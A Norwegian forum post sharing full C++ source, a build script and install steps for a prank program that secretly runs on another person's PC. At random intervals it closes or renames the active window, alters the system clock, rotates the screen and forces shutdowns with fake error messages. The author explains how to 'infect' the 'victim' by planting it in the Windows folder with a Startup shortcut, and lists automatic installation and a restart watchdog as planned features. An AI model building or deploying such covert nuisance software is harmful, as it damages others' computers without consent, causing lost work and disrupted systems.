Jeg fikk litt tid i kveld til å gjøre ferdig en «kjørbar» versjon. Litt improvisasjon behøves fortsatt fra «bruker».
Det er blitt lagt til noen nye features.
Blant annet:
- Spiller av tilfeldige lyder
- Roterer skjermen 180⁰
- Slår av datamaskinen med «tvilsome» feilmeldinger som:
- Windows 7 er nå forbudt! Terminering av systemet pågår
- Det har oppstått problem med grønnoverledning. Avslutter systemet.
- Vennligst sjekk at det er tilstrekkelig med olje i datamaskinen
- o.l.
Dere må lage en mappe struktur en eller annen plass, med undermappene:
Kode
+- bin
+- images
+- include
+- sounds
+- src
- bin-mappen kommer til å inneholde den kjørbare filen.
- images-mappen skal bestå av bakgrunnsbildene.
- include-mappen innholder header filene
- sounds-mappen innholder kule/ekle/morsomme lyder
- src-mappen
For å få kompilert koden, så må dere en C++ kompilator, laste ned MinGW. Dere finner den her:
http://sourceforge.net/projects/ming...d?source=files
Lagre denne koden som «WindowsHoax.h» i
include mappen:
Kode
#include <cstdlib>
#include <ctime>
#include <string>
#include <thread>
#include <vector>
#include <Windows.h>
class WindowsHoax
{
public:
static void changeClock ( );
static void changeWallpaper ( );
static void closeForegroundWindow ( );
static void changeForegroundWindowText ( );
static void maximizeWindow ( );
static void minimizeWindow ( );
static void monitorOff ( );
static void moveCursorPosition ( );
static void playSound ( );
static void rotateScreen ( );
static void screenSaver ( );
static void shutdown ( );
};
Lagre denne koden som «WindowsHoax.cpp» i
src mappen.
Kode
#include "WindowsHoax.h"
void WindowsHoax::changeClock ( )
{
SYSTEMTIME systemTime;
std::srand ( std::time ( 0x00 ));
systemTime.wYear = ( std::rand ( ) % 80 ) + 1970;
systemTime.wMonth = ( std::rand ( ) % 12 ) + 1;
systemTime.wDay = ( std::rand ( ) % 30 ) + 1;
systemTime.wHour = ( std::rand ( ) % 24 ) + 1;
systemTime.wMinute = ( std::rand ( ) % 60 ) + 1;
systemTime.wSecond = ( std::rand ( ) % 60 ) + 1;
SetSystemTime ( &systemTime );
}
void WindowsHoax::changeWallpaper ( )
{
int currentIndex;
char * currentWallpaper;
std::vector<std::string> wallpapers;
wallpapers.push_back ( "background_01.jpg" );
wallpapers.push_back ( "background_02.jpg" );
std::srand ( std::time ( 0x00 ));
currentIndex = std::rand ( ) % wallpapers.size ( );
currentWallpaper = new char [ wallpapers.at ( currentIndex ).length ( ) + 0x01 ];
strcpy ( currentWallpaper, wallpapers.at ( currentIndex ).c_str ( ));
SystemParametersInfo ( SPI_SETDESKWALLPAPER, 0x00, currentWallpaper, SPIF_UPDATEINIFILE );
delete [ ] currentWallpaper;
}
void WindowsHoax::closeForegroundWindow ( )
{
HWND foregroundWindow = GetForegroundWindow ( );;
if ( foregroundWindow != NULL )
{
PostMessage ( foregroundWindow, WM_CLOSE, 0x00, 0x00 );
}
}
void WindowsHoax::changeForegroundWindowText ( )
{
HWND foregroundWindow;
int currentIndex;
std::string currentText;
std::vector<std::string>windowTexts;
windowTexts.push_back ( "Er du sikker på at ingen står bak deg?" );
windowTexts.push_back ( "Kanskje noen følger med på deg!?" );
windowTexts.push_back ( "Har du sett under bordet?" );
std::srand ( std::time ( 0x00 ));
foregroundWindow = GetForegroundWindow ( );
currentIndex = std::rand ( ) % windowTexts.size ( );
currentText = windowTexts.at ( currentIndex );
if ( foregroundWindow != NULL )
{
SetWindowText ( foregroundWindow, currentText.c_str ( ));
}
}
void WindowsHoax::maximizeWindow ( )
{
HWND foregroundWindow = GetForegroundWindow ( );
if ( foregroundWindow != NULL )
{
PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MAXIMIZE, 0x00 );
}
}
void WindowsHoax::minimizeWindow ( )
{
HWND foregroundWindow = GetForegroundWindow ( );
if ( foregroundWindow != NULL )
{
PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0x00 );
}
}
void WindowsHoax::monitorOff ( )
{
PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, ( LPARAM ) 0x02 );
}
void WindowsHoax::moveCursorPosition ( )
{
RECT desktop;
int cursorPosX;
int cursorPosY;
int monitorResolutionX;
int monitorResolutionY;
if ( GetWindowRect ( GetDesktopWindow ( ), &desktop ) != 0x00 )
{
std::srand ( std::time ( 0x00 ));
monitorResolutionX = desktop.right;
monitorResolutionY = desktop.bottom;
for ( int c = 0x00; c < 36; c ++ )
{
cursorPosX = std::rand ( ) % monitorResolutionX;
cursorPosY = std::rand ( ) % monitorResolutionY;
SetCursorPos ( cursorPosX, cursorPosY );
std::this_thread::sleep_for ( std::chrono::seconds ( 10 ));
}
}
}
void WindowsHoax::playSound ( )
{
int currentIndex;
std::string currentSound;
std::vector<std::string>sounds;
std::srand ( std::time ( 0x00 ));
sounds.push_back ( "..\\sounds\\air_horn.wav" );
sounds.push_back ( "..\\sounds\\angry_chipmunk.wav" );
sounds.push_back ( "..\\sounds\\bike_horn.wav" );
sounds.push_back ( "..\\sounds\\bomb_siren.wav" );
sounds.push_back ( "..\\sounds\\chipmunks.wav" );
sounds.push_back ( "..\\sounds\\hahaha.wav" );
sounds.push_back ( "..\\sounds\\pig_snort.wav" );
sounds.push_back ( "..\\sounds\\quack_quack.wav" );
sounds.push_back ( "..\\sounds\\railroad_crossing_bell.wav" );
sounds.push_back ( "..\\sounds\\silly_snoring.wav" );
currentIndex = std::rand ( ) % sounds.size ( );
currentSound = sounds.at ( currentIndex );
PlaySound ( TEXT ( currentSound.c_str ( )), NULL, SND_FILENAME | SND_NODEFAULT | SND_ASYNC );
}
void WindowsHoax::rotateScreen ( )
{
DEVMODE deviceMode;
deviceMode.dmSize = sizeof ( DEVMODE );
deviceMode.dmDriverExtra = 0x00;
EnumDisplaySettings ( NULL, ENUM_CURRENT_SETTINGS, &deviceMode );
deviceMode.dmDisplayOrientation = DMDO_180;
ChangeDisplaySettings ( &deviceMode, 0x00 );
}
void WindowsHoax::screenSaver ( )
{
PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_SCREENSAVE, ( LPARAM ) 0x02 );
}
void WindowsHoax::shutdown ( )
{
int currentIndex;
HANDLE processToken;
char * shutdownMessage;
std::vector<std::string>shutdownMessages;
TOKEN_PRIVILEGES tokenPtr;
std::srand ( std::time ( 0x00 ));
shutdownMessages.push_back ( "Windows 7 er nå forbudt! Terminering av systemet pågår" );
shutdownMessages.push_back ( "Det har oppstått problem med grønnoverledning. Avslutter systemet." );
shutdownMessages.push_back ( "Hva er galt med Windows?" );
shutdownMessages.push_back ( "Vennligst sjekk at det er tilstrekkelig med olje i datamaskinen" );
shutdownMessages.push_back ( "Du bør ringe Microsoft!" );
shutdownMessages.push_back ( "Datamaskinen er har fått Klopp feber" );
shutdownMessages.push_back ( "Datamaskinen er smittet av influensa, vennligst gi den hostesaft!" );
currentIndex = std::rand ( ) % shutdownMessages.size ( );
shutdownMessage = new char [ shutdownMessages.at ( currentIndex ).length ( ) + 0x01 ];
strcpy ( shutdownMessage, shutdownMessages.at ( currentIndex ).c_str ( ));
if ( OpenProcessToken ( GetCurrentProcess ( ), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &processToken ))
{
LookupPrivilegeValue ( NULL, SE_SHUTDOWN_NAME, &tokenPtr.Privileges [ 0x00 ].Luid );
tokenPtr.PrivilegeCount = 0x01;
tokenPtr.Privileges [ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges ( processToken, 0x00, &tokenPtr, 0x00, ( PTOKEN_PRIVILEGES ) NULL, 0x00 );
if ( GetLastError ( ) == ERROR_SUCCESS )
{
InitiateSystemShutdown ( NULL, shutdownMessage, 0x1E, 0x00, 0x00 );
tokenPtr.Privileges [ 0x00 ].Attributes = 0x00;
AdjustTokenPrivileges ( processToken, 0x00, &tokenPtr, 0x00, ( PTOKEN_PRIVILEGES ) NULL, 0x00 );
}
}
delete [ ] shutdownMessage;
}
Lagre denne som «main.cpp» i
src mappen.
Kode
#include "WindowsHoax.h"
int main ( int argc, char **argv )
{
int currentIndex;
std::vector <void ( * )( )> hoaxMethods;
void ( *currentMethod )( );
std::srand ( std::time ( 0x00 ));
hoaxMethods.push_back ( WindowsHoax::changeClock );
hoaxMethods.push_back ( WindowsHoax::changeWallpaper );
hoaxMethods.push_back ( WindowsHoax::closeForegroundWindow );
hoaxMethods.push_back ( WindowsHoax::changeForegroundWindowText );
hoaxMethods.push_back ( WindowsHoax::maximizeWindow );
hoaxMethods.push_back ( WindowsHoax::minimizeWindow );
hoaxMethods.push_back ( WindowsHoax::monitorOff );
hoaxMethods.push_back ( WindowsHoax::moveCursorPosition );
hoaxMethods.push_back ( WindowsHoax::playSound );
hoaxMethods.push_back ( WindowsHoax::rotateScreen );
hoaxMethods.push_back ( WindowsHoax::screenSaver );
hoaxMethods.push_back ( WindowsHoax::shutdown );
while ( 0x01 )
{
std::this_thread::sleep_for ( std::chrono::minutes ( 10 ));
currentIndex = std::rand ( ) % hoaxMethods.size ( );
currentMethod = hoaxMethods.at ( currentIndex );
currentMethod ( );
}
return EXIT_SUCCESS;
}
Lagre denne som compile.bat i bunn mappen.
Kode
mkdir .\tmp
g++ -Wall -Werror -std=c++14 -I.\include -c .\src\WindowsHoax.cpp -o .\tmp\WindowsHoax.o
g++ -Wall -Werror -std=c++14 -I.\include -c .\src\main.cpp -o .\tmp\main.o
g++ .\tmp\WindowsHoax.o .\tmp\main.o -lwinmm -o .\bin\funny.exe
rmdir /S /Q .\tmp
images og
sounds mappen må dere fylle opp selv. I
sound mappen så må dere bruke *.wav filer, mens bakgrunnmappen kan bestå alle filtyper Windows godtar til bakgrunn.
Når dere har gjort det så må dere endre linje 25 til 26 i «WindowsHoax.cpp»:
Kode
wallpapers.push_back ( "..\\images\\background_01.jpg" );
wallpapers.push_back ( "..\\images\\background_02.jpg" );
Her endrer dere bare filnavnene. Hvis dere ønsker å legge til flere enn to, så står dere fritt opp til det.
Dere må også endre linje 132 til 141
Kode
sounds.push_back ( "..\\sounds\\air_horn.wav" );
sounds.push_back ( "..\\sounds\\angry_chipmunk.wav" );
sounds.push_back ( "..\\sounds\\bike_horn.wav" );
sounds.push_back ( "..\\sounds\\bomb_siren.wav" );
sounds.push_back ( "..\\sounds\\chipmunks.wav" );
sounds.push_back ( "..\\sounds\\hahaha.wav" );
sounds.push_back ( "..\\sounds\\pig_snort.wav" );
sounds.push_back ( "..\\sounds\\quack_quack.wav" );
sounds.push_back ( "..\\sounds\\railroad_crossing_bell.wav" );
sounds.push_back ( "..\\sounds\\silly_snoring.wav" );
Samme her som med linjene 25 og 26, endre filnavnet slik at peker til korrekt fil. Trenger dere flere, legg til flere linjer. Trenger dere ikke 10 lyder, så fjern tilsvarende linjer.
Når dere har gjort det, så åpner dere command prompt og flytter dere til riktig mappe. Kjør så compile.bat.
For å «infisere» offeret, så kopierer dere
bin,
images og
sounds mappen til offerets datamaskin, f.eks til «C
windows\WindowsHoax\». Så lagere dere en snarvei i «C
ProgramData\Microsoft\Windows\Start Menu\Programs\Startup» som peker til «C
windows\WindowsHoax\bin\funny.exe, da vil programmet starte hver gang maskinen starter.
Hvis dere er i tvil, så kan det være lurt å prøve på egen maskin før dere prøver å infisere andre. Koden gjør ingen skade på software eller hardware.
Koden er langt i fra stabil eller optimal. Men jeg har manglende kunnskaper på WinAPI og jeg har ikke mer tid å bruk, jeg må bruke resterende tid frem til jul på studier. Mulig jeg kommer med en updated versjon på nyåret.
Fremtidig features:
- Automatisk installasjon
- Egen prosess som restarter funny.exe hvis den blir avsluttet.
I tillegg bør koden gjennomgåes, optimaliseres og stabiliseres.